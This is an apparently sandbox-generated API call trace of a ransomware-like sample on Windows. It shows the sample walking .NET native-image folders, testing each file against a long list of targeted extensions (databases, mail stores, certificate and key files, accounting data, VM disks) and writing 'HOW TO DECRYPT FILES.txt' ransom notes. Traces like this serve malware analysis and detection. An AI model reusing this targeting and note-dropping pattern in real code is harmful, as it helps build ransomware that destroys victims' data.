(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.gz") returned 0 [0105.166] lstrlenA (lpString="*.gz") returned 4 [0105.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.mkv") returned 0 [0105.167] lstrlenA (lpString="*.mkv") returned 5 [0105.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.eml") returned 0 [0105.167] lstrlenA (lpString="*.eml") returned 5 [0105.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.msg") returned 0 [0105.167] lstrlenA (lpString="*.msg") returned 5 [0105.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.edb") returned 0 [0105.167] lstrlenA (lpString="*.edb") returned 5 [0105.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.accdb") returned 0 [0105.167] lstrlenA (lpString="*.accdb") returned 7 [0105.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.odb") returned 0 [0105.167] lstrlenA (lpString="*.odb") returned 5 [0105.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.java") returned 0 [0105.167] lstrlenA (lpString="*.java") returned 6 [0105.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.asm") returned 0 [0105.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.pfx") returned 0 [0105.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.pem") returned 0 [0105.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.p12") returned 0 [0105.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.gpg") returned 0 [0105.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.vsd") returned 0 [0105.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.odg") returned 0 [0105.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.raw") returned 0 [0105.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.nef") returned 0 [0105.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.svg") returned 0 [0105.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.psd") returned 0 [0105.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.vmx") returned 0 [0105.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.vmdk") returned 0 [0105.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.vdi") returned 0 [0105.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.lay6") returned 0 [0105.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.mpeg") returned 0 [0105.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.djvu") returned 0 [0105.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.tiff") returned 0 [0105.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.backup") returned 0 [0105.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.pdf") returned 0 [0105.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.cert") returned 0 [0105.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.docm") returned 0 [0105.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.xlsm") returned 0 [0105.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.dwg") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.nd") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.tlg") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.lgb") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.mov") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.xdw") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.ods") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.wav") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.mp3") returned 0 [0105.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.aiff") returned 0 [0105.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.flac") returned 0 [0105.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.m4a") returned 0 [0105.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.csv") returned 0 [0105.174] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4aa8ba1, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4aa8ba1, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4b1afc2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x264600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlXml.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.175] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.175] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4bb3543, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4bb3543, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4308c2310ca6f08c6e0068172e5b709f", cAlternateFileName="4308C2~1")) returned 0 [0105.175] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.175] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2c96bb, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd2ef81c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd2ef81c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Deployment", cAlternateFileName="SYSTEM~1.DEP")) returned 1 [0105.175] lstrcmpA (lpString1=".", lpString2="System.Deployment") returned -1 [0105.175] lstrcmpA (lpString1="..", lpString2="System.Deployment") returned -1 [0105.175] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.175] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Deployment" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment" [0105.175] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2c96bb, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd2ef81c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd2ef81c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.177] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.177] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2c96bb, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd2ef81c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd2ef81c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.177] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.177] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.177] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2ef81c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd2ef81c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd2ef81c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="be74d258a0daa0e11197e1dcb1b3b0b9", cAlternateFileName="BE74D2~1")) returned 1 [0105.177] lstrcmpA (lpString1=".", lpString2="be74d258a0daa0e11197e1dcb1b3b0b9") returned -1 [0105.177] lstrcmpA (lpString1="..", lpString2="be74d258a0daa0e11197e1dcb1b3b0b9") returned -1 [0105.177] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\*.*") returned="*.*" [0105.177] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\", lpString2="be74d258a0daa0e11197e1dcb1b3b0b9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9" [0105.177] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2ef81c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd2ef81c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd2ef81c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.178] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.178] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2ef81c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd2ef81c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd2ef81c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.178] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.178] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.178] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd20afda, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd20afda, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd25729b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Deployment.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.178] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.178] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Deployment.ni.dll") returned -1 [0105.178] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Deployment.ni.dll") returned -1 [0105.178] lstrcmpiA (lpString1="", lpString2="System.Deployment.ni.dll") returned -1 [0105.178] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\*.*") returned="*.*" [0105.178] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\" [0105.178] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\") returned="" [0105.178] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\HOW TO DECRYPT FILES.txt" [0105.178] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\how to decrypt files.txt")) returned 0xffffffff [0105.179] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.180] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.182] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.182] CloseHandle (hObject=0x90) returned 1 [0105.182] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\", lpString2="System.Deployment.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll" [0105.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.ems") returned 0 [0105.182] lstrlenA (lpString="*.ems") returned 5 [0105.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.db") returned 0 [0105.182] lstrlenA (lpString="*.db") returned 4 [0105.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.dbf") returned 0 [0105.182] lstrlenA (lpString="*.dbf") returned 5 [0105.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.myox") returned 0 [0105.183] lstrlenA (lpString="*.myox") returned 6 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.myo") returned 0 [0105.183] lstrlenA (lpString="*.myo") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qbw") returned 0 [0105.183] lstrlenA (lpString="*.qbw") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qbb") returned 0 [0105.183] lstrlenA (lpString="*.qbb") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qbm") returned 0 [0105.183] lstrlenA (lpString="*.qbm") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qbo") returned 0 [0105.183] lstrlenA (lpString="*.qbo") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qbx") returned 0 [0105.183] lstrlenA (lpString="*.qbx") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qba") returned 0 [0105.183] lstrlenA (lpString="*.qba") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qby") returned 0 [0105.183] lstrlenA (lpString="*.qby") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qbj") returned 0 [0105.183] lstrlenA (lpString="*.qbj") returned 5 [0105.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.ofx") returned 0 [0105.184] lstrlenA (lpString="*.ofx") returned 5 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.qif") returned 0 [0105.184] lstrlenA (lpString="*.qif") returned 5 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.mye") returned 0 [0105.184] lstrlenA (lpString="*.mye") returned 5 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.mbox") returned 0 [0105.184] lstrlenA (lpString="*.mbox") returned 6 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.eml") returned 0 [0105.184] lstrlenA (lpString="*.eml") returned 5 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.pst") returned 0 [0105.184] lstrlenA (lpString="*.pst") returned 5 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.ost") returned 0 [0105.184] lstrlenA (lpString="*.ost") returned 5 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.idx") returned 0 [0105.184] lstrlenA (lpString="*.idx") returned 5 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.dbx") returned 0 [0105.184] lstrlenA (lpString="*.dbx") returned 5 [0105.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.sql") returned 0 [0105.184] lstrlenA (lpString="*.sql") returned 5 [0105.184] PathMatchSpecA 